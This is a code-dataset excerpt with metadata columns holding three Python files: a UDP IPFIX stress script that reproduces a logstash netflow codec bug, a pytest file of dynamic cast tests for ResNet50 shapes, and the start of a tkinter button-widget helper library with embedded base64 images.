| null | null | 0.375
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
a69d89d8b43c1f3820f92e1fc848562ed4a7b80b
| 4,522
|
py
|
Python
|
spec/codecs/ipfix_stress.py
|
andsel/logstash-codec-netflow
|
bce0308260ebcd72af825cd52f48b0af88dfe66d
|
[
"Apache-2.0"
] | 85
|
2015-04-12T01:22:25.000Z
|
2021-11-09T10:55:58.000Z
|
spec/codecs/ipfix_stress.py
|
andsel/logstash-codec-netflow
|
bce0308260ebcd72af825cd52f48b0af88dfe66d
|
[
"Apache-2.0"
] | 186
|
2015-01-12T20:51:46.000Z
|
2022-01-27T13:31:33.000Z
|
spec/codecs/ipfix_stress.py
|
andsel/logstash-codec-netflow
|
bce0308260ebcd72af825cd52f48b0af88dfe66d
|
[
"Apache-2.0"
] | 107
|
2015-01-12T19:42:20.000Z
|
2021-11-03T11:08:57.000Z
|
import socket
import sys
import time
import random
## Standalone IPFIX stressor
## Used to reproduce issue 134 https://github.com/logstash-plugins/logstash-codec-netflow/issues/134
host = 'host02'
port = 2055
tpl = '\x00\n\x00\xa4Z\xd2\xc6\xfc\x00\x00K\xce\xabfn\xab\x00\x02\x00\x94\xce\xc7\x00\x17\x00\x08\x00\x04\x00\x1b\x00\x10\x00\x07\x00\x02\x00\x0c\x00\x04\x00\x1c\x00\x10\x00\x0b\x00\x02\x00\x10\x00\x04\x00\x11\x00\x04\x00\x04\x00\x01\x80\x01\xff\xff\x00\x00<%\x80\x1c\xff\xff\x00\x00<%\x00\x96\x00\x04\x00\x97\x00\x04\x80\x03\x00\x08\x00\x00<%\x80\x04\x00\x08\x00\x00<%\x80\x15\xff\xff\x00\x00<%\x80\x19\x00\x04\x00\x00<%\x80\x1a\xff\xff\x00\x00<%\x80\x16\xff\xff\x00\x00<%\x80\x0f\xff\xff\x00\x00<%\x80\x02\xff\xff\x00\x00<%\x80\x10\xff\xff\x00\x00<%\x80/\xff\xff\x00\x00<%'
# 8 flows:
data = '\x00\n\x05KZ\xd2\xc78\x00\x00K\xd4\xabfn\xab\xce\xc7\x05;\xb5\xd6WG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd2\x1b\x8a,\xa1\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xba\xde\x00\x00\x1d\x97\x00\x00\x1d\x97\x06\x0eBeing analyzed\x00Z\xd2\xc6zZ\xd2\xc6\xfe\x00\x00\x00\x00\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!INITIAL,SERVER_IS_LOCAL,BEGINNING\x0eBeing analyzed\x00\x05IPFIX\x00\x00\x00\x00 \x01\x03\x88\xcf\n\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x88\x00\x00\x00\x00 \x01\x03\x88\xcf\n\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x87\x00\x00\x00\x00\x00\x00\x00\x00:\x1aIP protocol 58 (IPv6-ICMP)\x00Z\xd2\xc6\xecZ\xd2\xc6\xfe\x00\x00\x00\x00\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00N\x00\x00\x00\x00\x00\x00\x00-INITIAL,SERVER_IS_LOCAL,BEGINNING,ESTABLISHED\x1aIP protocol 58 (IPv6-ICMP)\x00\x05IPFIX\x05\xbc\x0b#\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xac{\x8a,\xa1\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00V\xec\x00\x00\x1d\x97\x00\x00\x1d\x97\x06\x0eBeing analyzed\x00Z\xd2\xc6\x84Z\xd2\xc7\x02\x00\x00\x00\x00\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!INITIAL,SERVER_IS_LOCAL,BEGINNING\x0eBeing analyzed\x00\x05IPFIX\xceu\x19Y\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a,\xa1\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\xe2\x00\x00\x1d\x97\x01\x14IP protocol 1 (ICMP)\x00Z\xd2\xc6\xfeZ\xd2\xc7*\x00\x00\x00\x00\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!INITIAL,SERVER_IS_LOCAL,BEGINNING\x14IP protocol 1 (ICMP)\x00\x05IPFIX\x00\x00\x00\x00 \x01\x03\x88\xcf\n\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x88\x00\x00\x00\x00 \x01\x03\x88\xcf\n\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x87\x00\x00\x00\x00\x00\x00\x00\x00:\x1aIP protocol 58 (IPv6-ICMP)\x00Z\xd2\xc7\nZ\xd2\xc7*\x00\x00\x00\x00\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00N\x00\x00\x00\x00\x00\x00\x00-INITIAL,SERVER_IS_LOCAL,BEGINNING,ESTABLISHED\x1aIP protocol 58 (IPv6-ICMP)\x00\x05IPFIX\xb9\xe8\x1d\xc7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xda=\x8a,\xa1\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\x1b\x00\x00\x1d\x97\x00\x00\x1d\x97\x06\x0eBeing analyzed\x00Z\xd2\xc6\xfbZ\xd2\xc78\x00\x00\x00\x00\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!INITIAL,SERVER_IS_LOCAL,BEGINNING\x0eBeing analyzed\x00\x05IPFIX\xb1\xbc\xe4\x89\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\xd6\x8a,\xa1\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xd0\x00\x00\x1d\x97\x00\x00\x1d\x97\x06\x0eBeing analyzed\x00Z\xd2\xc7\x1aZ\xd2\xc78\x00\x00\x00\x00\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!INITIAL,SERVER_IS_LOCAL,BEGINNING\x0eBeing analyzed\x00\x05IPFIX\x8a,\xa1\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x83\x99\x8a,\xa1\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb3\x00\x00\x1d\x97\x00\x00\x1d\x97\x06\x05BGP-4\x00Z\xd2\xc6\x0cZ\xd2\xc78\x00\x00\x00\x00\x00\x00\x1b\xa4\x00\x00\x00\x00\x00\x00\x0c\xee\x00\x00\x00\x00\x00\x00\x006INTERACTIVE,CLIENT_IS_LOCAL,INBOUND,ESTABLISHED,ACTIVE\x05BGP-4\x00\x05IPFIX'
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("IPFIX v9: sending 1 template 1 data packet in an infinite loop")
duration = 0.0
while True:
for i in range(0,400):
sock.sendto(tpl, (host, port))
sock.sendto(data, (host, port))
sys.stdout.write('.')
sys.stdout.flush()
time.sleep(random.random())
print
| 145.870968
| 3,366
| 0.752985
| 970
| 4,522
| 3.491753
| 0.163918
| 0.728078
| 0.932684
| 1.108946
| 0.691763
| 0.651904
| 0.641275
| 0.640094
| 0.630056
| 0.61677
| 0
| 0.328995
| 0.031402
| 4,522
| 30
| 3,367
| 150.733333
| 0.444292
| 0.029191
| 0
| 0
| 0
| 0.105263
| 0.910812
| 0.875
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.210526
| 0
| 0.210526
| 0.105263
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
471ac2fd8cadc328906fb6193ff9a8d22573bd1e
| 8,034
|
py
|
Python
|
tests/st/ops/ascend/dynamic_shape/test_dynamic_cast.py
|
tianjiashuo/akg
|
a9cbf642063fb1086a93e8bc6be6feb145689817
|
[
"Apache-2.0"
] | 286
|
2020-06-23T06:40:44.000Z
|
2022-03-30T01:27:49.000Z
|
tests/st/ops/ascend/dynamic_shape/test_dynamic_cast.py
|
tianjiashuo/akg
|
a9cbf642063fb1086a93e8bc6be6feb145689817
|
[
"Apache-2.0"
] | 10
|
2020-07-31T03:26:59.000Z
|
2021-12-27T15:00:54.000Z
|
tests/st/ops/ascend/dynamic_shape/test_dynamic_cast.py
|
tianjiashuo/akg
|
a9cbf642063fb1086a93e8bc6be6feb145689817
|
[
"Apache-2.0"
] | 30
|
2020-07-17T01:04:14.000Z
|
2021-12-27T14:05:19.000Z
|
import pytest
from tests.common import boot
from tests.common.test_run import cast_run
@pytest.mark.level0
@pytest.mark.platform_arm_ascend_training
@pytest.mark.platform_x86_ascend_training
@pytest.mark.env_onecard
def test_cast():
#boot.run("test_resnet50_cast_000", cast_run, ((64, 128, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_001", cast_run, ((32, 64, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_002", cast_run, ((16, 32, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_003", cast_run, ((4, 16, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_004", cast_run, ((49, 4, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_005", cast_run, ((32, 4, 112, 112, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_006", cast_run, ((32, 4, 56, 56, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_007", cast_run, ((32, 16, 56, 56, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_008", cast_run, ((36, 4, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_009", cast_run, ((4, 4, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_010", cast_run, ((32, 4, 56, 56, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_011", cast_run, ((16, 4, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_012", cast_run, ((32, 16, 56, 56, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_013", cast_run, ((32, 32, 28, 28, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_014", cast_run, ((8, 32, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_015", cast_run, ((72, 8, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_016", cast_run, ((16, 8, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_017", cast_run, ((32, 8, 56, 56, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_018", cast_run, ((32, 8, 56, 56, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_019", cast_run, ((32, 8, 28, 28, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_020", cast_run, ((32, 8, 28, 28, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_021", cast_run, ((32, 8, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_022", cast_run, ((32, 32, 28, 28, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_023", cast_run, ((32, 64, 14, 14, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_024", cast_run, ((16, 64, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_025", cast_run, ((144, 16, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_026", cast_run, ((32, 16, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_027", cast_run, ((32, 16, 28, 28, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_028", cast_run, ((32, 16, 28, 28, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_029", cast_run, ((32, 16, 14, 14, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_030", cast_run, ((32, 16, 14, 14, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_031", cast_run, ((64, 16, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_032", cast_run, ((32, 64, 14, 14, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_033", cast_run, ((32, 128, 7, 7, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_034", cast_run, ((32, 128, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_035", cast_run, ((288, 32, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_036", cast_run, ((64, 32, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_037", cast_run, ((32, 32, 14, 14, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_038", cast_run, ((32, 32, 14, 14, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_039", cast_run, ((32, 32, 7, 7, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_040", cast_run, ((32, 32, 7, 7, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_041", cast_run, ((128, 32, 16, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_042", cast_run, ((32, 128, 7, 7, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_043", cast_run, ((32, 4, 112, 112, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_044", cast_run, ((32, 128, 1, 1, 16), "float32", "float16"), "dynamic")
#boot.run("test_resnet50_cast_045", cast_run, ((32, 2048, 1, 1), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_048", cast_run, ((64, 128, 16, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_049", cast_run, ((32, 64, 16, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_050", cast_run, ((16, 32, 16, 16), "float16", "float32"), "dynamic")
#boot.run("test_resnet50_cast_051", cast_run, ((4, 16, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_052", cast_run, ((49, 4, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_053", cast_run, ((36, 4, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_054", cast_run, ((4, 4, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_055", cast_run, ((16, 4, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_056", cast_run, ((8, 32, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_057", cast_run, ((72, 8, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_058", cast_run, ((16, 8, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_059", cast_run, ((32, 8, 56, 56, 16), "float32", "float16"), "dynamic")
boot.run("test_resnet50_cast_060", cast_run, ((32, 8, 56, 56, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_061", cast_run, ((32, 8, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_062", cast_run, ((16, 64, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_063", cast_run, ((144, 16, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_064", cast_run, ((32, 16, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_065", cast_run, ((32, 16, 28, 28, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_066", cast_run, ((32, 16, 28, 28, 16), "float32", "float16"), "dynamic")
boot.run("test_resnet50_cast_067", cast_run, ((64, 16, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_068", cast_run, ((32, 128, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_069", cast_run, ((288, 32, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_070", cast_run, ((64, 32, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_071", cast_run, ((32, 32, 14, 14, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_072", cast_run, ((32, 32, 14, 14, 16), "float32", "float16"), "dynamic")
boot.run("test_resnet50_cast_073", cast_run, ((128, 32, 16, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_074", cast_run, ((32, 2048, 1, 1), "float32", "float16"), "dynamic")
boot.run("test_resnet50_cast_075", cast_run, ((32, 128, 1, 1, 16), "float16", "float32"), "dynamic")
boot.run("test_resnet50_cast_080", cast_run, ((64, 128, 16, 16), "bool", "int32"), "dynamic")
| 94.517647
| 107
| 0.645382
| 1,194
| 8,034
| 4.082915
| 0.098827
| 0.109128
| 0.169231
| 0.292308
| 0.911795
| 0.907077
| 0.823795
| 0.775795
| 0.757744
| 0.72
| 0
| 0.187874
| 0.127458
| 8,034
| 84
| 108
| 95.642857
| 0.507561
| 0.61414
| 0
| 0
| 0
| 0
| 0.35082
| 0.180328
| 0
| 0
| 0
| 0
| 0
| 1
| 0.030303
| true
| 0
| 0.090909
| 0
| 0.121212
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
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|
0
| 8
|
5babc92346458d450a9121b1819a4daa1f2385ee
| 829,352
|
py
|
Python
|
pythonProject1/venv/Lib/site-packages/ModTkinter/__init__.py
|
mjtomlinson/CNE330_Python_1_Final_Project
|
05020806860937ef37b9a0ad2e27de4897a606de
|
[
"CC0-1.0"
] | null | null | null |
pythonProject1/venv/Lib/site-packages/ModTkinter/__init__.py
|
mjtomlinson/CNE330_Python_1_Final_Project
|
05020806860937ef37b9a0ad2e27de4897a606de
|
[
"CC0-1.0"
] | null | null | null |
pythonProject1/venv/Lib/site-packages/ModTkinter/__init__.py
|
mjtomlinson/CNE330_Python_1_Final_Project
|
05020806860937ef37b9a0ad2e27de4897a606de
|
[
"CC0-1.0"
] | null | null | null |
#import ctypes
import tkinter as tk
from tkinter import *
import random
import re
import sys
import base64
import io
import os
import numpy as np
from shutil import copyfile
import webbrowser
import platform
import PIL
from PIL import ImageTk,Image
'''import tkinter
from tkinter import *
s= Tk()
d=Button(s, text= "Hello World")
d.pack()
s.mainloop()'''
class ModTk(tk.Tk):
def __init__(self):
Tk.__init__(self)
if platform.system()=="Windows" and os.name== "nt":
try:
import ctypes
self.tk.call('tk', 'scaling', 2.7)
ctypes.windll.shcore.SetProcessDpiAwareness(1)
except:
print("Window10 is needed")
else:
self.tk.call('tk', 'scaling', 1.0)
print('high DPI might not be available since intended target is window10, but all other widgets are available')
def updateDestroy(self):
self.destroy()
#self.destroy()
def loop(self, time):
self.after(time, self.updateDestroy)
self.mainloop()
class MinorWindow(tk.Toplevel):
def updateDestroy(self):
self.destroy()
#self.destroy()
def loop(self, time):
self.after(time, self.updateDestroy)
self.mainloop()
def colorcon(rgba_color):
rgb_color = re.search('\(.*\)', rgba_color).group(0).replace(' ', '').lstrip('(').rstrip(')')
[r, g, b, o] = rgb_color.split(',')
[r, g, b] = [int(x) for x in [r, g, b]]
o = float(o)
o = str(o) + '%'
# check if in range 0~255
assert 0 <= r <= 255
assert 0 <= g <= 255
assert 0 <= b <= 255
r = hex(r).lstrip('0x')
g = hex(g).lstrip('0x')
b = hex(b).lstrip('0x')
# re-write '7' to '07'
r = (2 - len(r)) * '0' + r
g = (2 - len(g)) * '0' + g
b = (2 - len(b)) * '0' + b
hex_color = '#' + r + g + b
return hex_color
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#s= base64.b64decode(ss)
s=b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x07\x08\x00\x00\x03\x84\x08\x06\x00\x00\x00\xb5\xaee6\x00\x00$oIDATx\x9c\xed\xddAr\xdbJ\x16\x05QV\x87\x96\xcaeq\xaf\xe8\x81\x1d\xdd\xff\xdb\xb2,J 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global imgqw
imgqw = Image.open(io.BytesIO(s))
imgqw = imgqw.convert('RGBA')
imgqw = imgqw.resize((480,240), Image.BOX)
img = imgqw
img1= imgqw
global a
a = np.array(img)
global dataa
dataa = np.array(img1)
#print(datax)
class Button(tk.Button):
enterevent = None
leaveevent = None
def dff(self):
if self['background']!= self.master['background'] or self['activebackground']!= self.master['background'] :
self.configure(bg= self.master['background'], activebackground= self.master['background'])
#print("configuring colors of graphical-base64-based widgets is banned")
__img= None
__img1 = None
__Images = []
__ani = False
def __klk(self, event):
Img = ImageTk.PhotoImage(self.__img1)
self.config(image= Img)
self.__Images.append(Img)
try:
return self.enterevent()
except:pass
def __klc(self, event):
Img = ImageTk.PhotoImage(self.__img)
self.config(image= Img)
self.__Images.append(Img)
try:
return self.leaveevent()
except:pass
def init(self,d=[0,0,10,80],x=40, y=20,c=(120,120,120,60),**kwargs):
#global imgqw
global a
global dataa
img,img1 = imgqw, imgqw
for_some_reason_I_dun_get_it = a
#print(img.getcolors())
try:
self.op = kwargs['width']
except:
self.op = 120
try:
self.uop = kwargs['height']
except:
self.uop = 60
data = np.array(img)
#data1 =b
r,g,b = 255,255,255
try:
rq2,gq2,bq2,aq2 = d[0],d[1],d[2],d[3]
except:
d.append(80)
rq2,gq2,bq2,aq2 = d[0],d[1],d[2],d[3]
red, green, blue, alpha = data[:,:,0], data[:,:,1], data[:,:,2], data[:,:,3]
mask = (red == r ) & (green == g) & (blue == b)
data[:,:,:4][mask] = [rq2, gq2, bq2, aq2]
img = Image.fromarray(data)
img = img.resize((self.op,self.uop), Image.ANTIALIAS)
imga1 = img.crop((0,0,40,60))
imga1= imga1.resize((40, 60), Image.ANTIALIAS)
imgb1 = img.crop((40,0,80,60))
#xx=(300,80)
imgb1=imgb1.resize((x,60), Image.ANTIALIAS)
imgc1 = img.crop((80,0,120,60))
imgc1= imgc1.resize((40, 60), Image.ANTIALIAS)
imgror1= Image.new('RGBA', (imgb1.size[0]+imga1.size[0]+imgc1.size[0],60), )
imgror1.paste(imga1,(0,0))
imgror1.paste(imgb1, (imga1.size[0],0))
imgror1.paste(imgc1, (imga1.size[0]+imgb1.size[0],0))
#img= imgror1.resize()
#imgror.load()
s=imgror1.size[0]
#print(imgror1.size[1])
imgror1 = imgror1.resize((s, 60), Image.ANTIALIAS)
imga1 = imgror1.crop((0,0,s,25))
imga1= imga1.resize((s, 25), Image.ANTIALIAS)
imgb1 = imgror1.crop((0,25,s,35))
#xx=(300,80)
imgb1=imgb1.resize((s,y), Image.ANTIALIAS)
imgc1 = imgror1.crop((0,35,s,60))
imgc1= imgc1.resize((s, 25), Image.ANTIALIAS)
imgror11= Image.new('RGBA', (s,imgb1.size[1]+imga1.size[1]+imgc1.size[1]) )
imgror11.paste(imga1,(0,0))
imgror11.paste(imgb1, (0,imga1.size[1]))
imgror11.paste(imgc1, (0,imga1.size[1]+imgb1.size[1]))
self.__img= imgror11
try:
self.__ani = kwargs['animation']
except:
self.__ani = False
if self.__ani:
#print("True")
data1 = np.array(img1)
r1,g1,b1= 255,255,255
try:
r2,g2,b2,a2 =c[0], c[1], c[2], c[3]
except:
c.append(80)
r2,g2,b2,a2 =c[0], c[1], c[2], c[3]
red, green, blue, alpha = data1[:,:,0],data1[:,:,1],data1[:,:,2],data1[:,:,3]
mask = (red == r1 ) & (green == g1) & (blue == b1)
data1[:,:,:4][mask] = [r2, g2, b2, a2]
img1 = Image.fromarray(data1)
img1= img1.resize((self.op,self.uop), Image.ANTIALIAS)
imga1 = img1.crop((0,0,40,60))
imga1= imga1.resize((40, 60), Image.ANTIALIAS)
imgb1 = img1.crop((40,0,80,60))
#xx=(300,80)
imgb1=imgb1.resize((x,60), Image.ANTIALIAS)
imgc1 = img1.crop((80,0,120,60))
imgc1= imgc1.resize((40, 60), Image.ANTIALIAS)
imgror13= Image.new('RGBA', (imgb1.size[0]+imga1.size[0]+imgc1.size[0],60), )
imgror13.paste(imga1,(0,0))
imgror13.paste(imgb1, (imga1.size[0],0))
imgror13.paste(imgc1, (imga1.size[0]+imgb1.size[0],0))
s1=imgror13.size[0]
#print(imgror13.size[0])
imgror13 = imgror13.resize((s1,60), Image.ANTIALIAS)
imga1 = imgror13.crop((0,0,s1,25))
imga1= imga1.resize((s1, 25), Image.ANTIALIAS)
imgb1 = imgror13.crop((0,25,s1,35))
#xx=(300,80)
imgb1=imgb1.resize((s1,y), Image.ANTIALIAS)
imgc1 = imgror13.crop((0,35,s1,60))
imgc1= imgc1.resize((s1, 25), Image.ANTIALIAS)
imgror12= Image.new('RGBA', (s1,imga1.size[1]+imgb1.size[1]+imgc1.size[1]) )
imgror12.paste(imga1,(0,0))
imgror12.paste(imgb1, (0,imga1.size[1]))
imgror12.paste(imgc1, (0,imga1.size[1]+imgb1.size[1]))
self.__img1= imgror12.resize((imgror12.size[0]+4,imgror12.size[1]+3),Image.ANTIALIAS)
else:
self.__img1 = None
self.__img1 = imgror11.resize((imgror11.size[0]+4,imgror11.size[1]+3),Image.ANTIALIAS)
Img = ImageTk.PhotoImage(self.__img)
self.config(bg= self.master["bg"],highlightbackground= self.master["bg"],border= 0,borderwidth=0,activebackground=self.master["bg"],highlightthickness=0,image = Img, compound= CENTER)
self.__Images.append(Img)
self.bind('<Enter>', self.__klk)
self.bind('<Leave>', self.__klc)
self.after(100, self.dff)
def bound(self,event, mode ):
return self.bind(event, mode)
def Enterbind(self,event ,enterevent):
self.__enterevent = enterevent
'''
def deffff_cnjnxcjnxj_dkcxvkn():
self.__klk(event)
enterevent(event)
deffff_cnjnxcjnxj_dkcxvkn()
'''
class WinButton(tk.Frame):
enterevent = None
leaveevent = None
__frame= None
__IMGG = []
def __ret(self, event):
self.__button.config(fg = self.__activefg , font =self.__activefont)
self.configure(bg=self.__bdcolor)
try:
return self.enterevent()
except:pass
def __ret1(self, event ):
self.configure(bg=self.master['bg'])
self.__button.config(fg = self.__fontcolor, font = self.__font)
try:
return self.leaveevent()
except:pass
def __init__(self,master, **kwargs):
tk.Frame.__init__(self,master)
entry=b'iVBORw0KGgoAAAANSUhEUgAABNwAAACICAYAAAA8nPbiAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAcaURPVAAAAAIAAAAAAAAEAAAAACgAAAQAAAAEAAAAkgt2erNvAAAAIXRFWHRDcmVhdGlvbiBUaW1lADIwMjA6MDc6MzAgMjM6MzA6MDZcgIjZAAACp0lEQVR4Xu3BMQEAAADCoPVPbQ0PIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgRA1UngABF3hi6AAAAABJRU5ErkJggg=='
self.__okipiodjdfn_f_ccc_cc_dam_okip = False
img= base64.b64decode(entry)
self.__img= Image.open(io.BytesIO(img))
try:
self.__img = self.__img.resize((kwargs['width'],kwargs['height']), Image.ANTIALIAS)
kwargs.pop('width')
kwargs.pop('height')
except:
self.__img = self.__img.resize((120,60), Image.ANTIALIAS)
try:
self.__bd = kwargs['bd']
kwargs.pop('bd')
except:
self.__bd = 1
IMG = ImageTk.PhotoImage(self.__img)
try:
self.__bdcolor = kwargs['bdcolor']
#print(kwargs['bdcolor'])
